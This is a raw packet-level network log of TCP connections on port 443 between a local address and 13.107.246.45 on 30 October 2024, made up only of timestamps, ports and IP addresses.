Oct 30, 2024 20:14:36.486500025 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.486500025 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.486527920 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.605989933 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.606753111 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.606766939 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.607199907 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.607203960 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.610265970 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.610299110 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.610373974 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.610388041 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.610447884 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.610510111 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.610732079 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.610732079 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.610744953 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.610753059 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.613291979 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.613323927 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.613429070 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.613543987 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.613554001 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.736648083 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.736673117 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.736721992 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.736745119 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.736778975 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.736941099 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.736949921 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.736958981 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.736963034 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.739126921 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.739151955 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:36.739219904 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.739620924 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:36.739634991 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.463404894 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.464021921 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.464032888 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.464592934 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.464596033 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.469024897 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.469343901 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.469362974 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.472255945 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.472261906 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.479372978 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.479707003 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.479726076 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.480099916 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.480106115 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.594997883 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.595161915 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.595216990 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.595237970 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.595283031 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.595340014 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.595361948 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.595372915 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.595377922 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.597987890 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.598021984 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.598088980 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.598216057 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.598229885 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.601422071 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.601635933 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.601696014 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.601756096 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.601766109 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.601778030 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.601783991 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.603585958 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.603619099 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.603689909 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.603790045 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.603797913 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.612082958 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.612116098 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.612169981 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.612176895 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.612236977 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.612308979 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.612317085 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.612328053 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.612330914 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.614078045 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.614165068 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:37.614244938 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.614396095 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:37.614430904 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.325943947 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.326555014 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.326576948 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.327012062 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.327018976 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.343763113 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.344049931 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.344094038 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.344391108 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.344404936 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.356982946 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.357239962 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.357253075 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.357525110 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.357530117 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.811530113 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.811589956 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.811640978 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.811750889 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.811831951 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.811856031 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.811872959 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.811882973 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.811885118 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.811888933 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.812021017 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.812056065 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.812091112 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.812108040 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.812211990 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.812282085 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.812331915 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.812349081 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.812393904 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.812441111 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.812654972 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.812668085 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.812680006 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.812685966 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.814984083 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.815057039 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.815080881 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.815099001 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.815120935 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.815140963 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.815165043 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.815207005 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.815222025 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.815252066 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.815294027 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.815334082 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.815349102 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.815349102 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.815377951 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.927011013 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.929536104 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.929584980 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:38.929671049 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.929821014 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:38.929837942 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.539047003 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.539540052 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.539586067 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.539987087 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.539999962 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.549706936 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.550123930 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.550147057 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.550519943 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.550529957 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.562983036 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.563462973 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.563483000 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.563904047 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.563915014 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.674551010 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.674580097 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.674626112 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.674623966 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.674664974 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.674880028 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.674906015 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.674921036 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.674928904 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.677544117 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.677587986 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.677649021 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.677829981 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.677839041 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.681122065 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.681149960 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.681185961 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.681190968 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.681226015 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.681361914 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.681380987 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.681392908 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.681399107 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.683531046 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.683568954 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.683641911 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.683769941 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.683780909 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.695267916 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.695440054 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.695517063 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.695554018 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.695554018 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.695571899 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.695593119 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.697453976 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.697477102 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.697540045 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.697666883 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.697679996 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.906119108 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.906196117 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.909009933 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.909017086 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.909248114 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:39.909878969 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:39.955337048 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.039011955 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.039068937 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.039122105 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.044213057 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.044238091 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.044249058 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.044255018 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.115648031 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.115689993 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.115758896 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.118041039 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.118058920 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.411710024 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.411777973 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.412884951 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.412904024 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.413017988 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.413095951 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.413141012 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.413875103 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.414019108 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.414026976 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.414272070 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.414796114 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.438205004 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.438322067 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.439364910 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.439371109 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.439779043 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.440383911 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.455327034 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.455338001 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.483335972 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.721363068 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.721398115 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.721437931 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.721456051 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.721468925 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.721477032 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.721504927 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.721533060 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.721574068 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.721674919 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.721684933 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.721803904 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.721803904 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.721817970 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.721826077 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.721971035 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.722047091 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.722086906 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.723104000 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.723109007 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.723144054 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.723149061 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.726428032 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.726458073 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.726501942 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.726762056 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.726794958 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.726856947 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.726934910 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.726949930 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.727049112 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.727061033 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.727163076 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.727170944 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.727217913 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.727349997 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.727360010 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.887696028 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.888163090 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.888184071 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:40.888689041 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:40.888695002 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.026413918 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.026495934 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.026547909 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.026690006 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.026705980 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.026717901 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.026724100 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.028990984 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.029033899 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.029238939 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.029402018 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.029417992 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.469254971 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.469703913 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.469721079 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.470144987 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.470149994 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.470148087 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.470459938 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.470498085 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.470865011 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.470871925 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.601043940 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.601319075 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.601373911 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.601394892 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.601428986 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.601444006 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.601453066 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.601495981 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.601533890 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.601547956 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.601566076 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.601571083 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.601634026 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.601634026 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.601654053 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.601663113 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.604266882 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.604294062 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.604326010 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.604368925 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.604373932 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.604427099 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.604480028 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.604489088 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.604561090 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.604578018 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.628521919 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.628839016 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.628849030 CET	443	49963	13.107.246.45	192.168.2.4
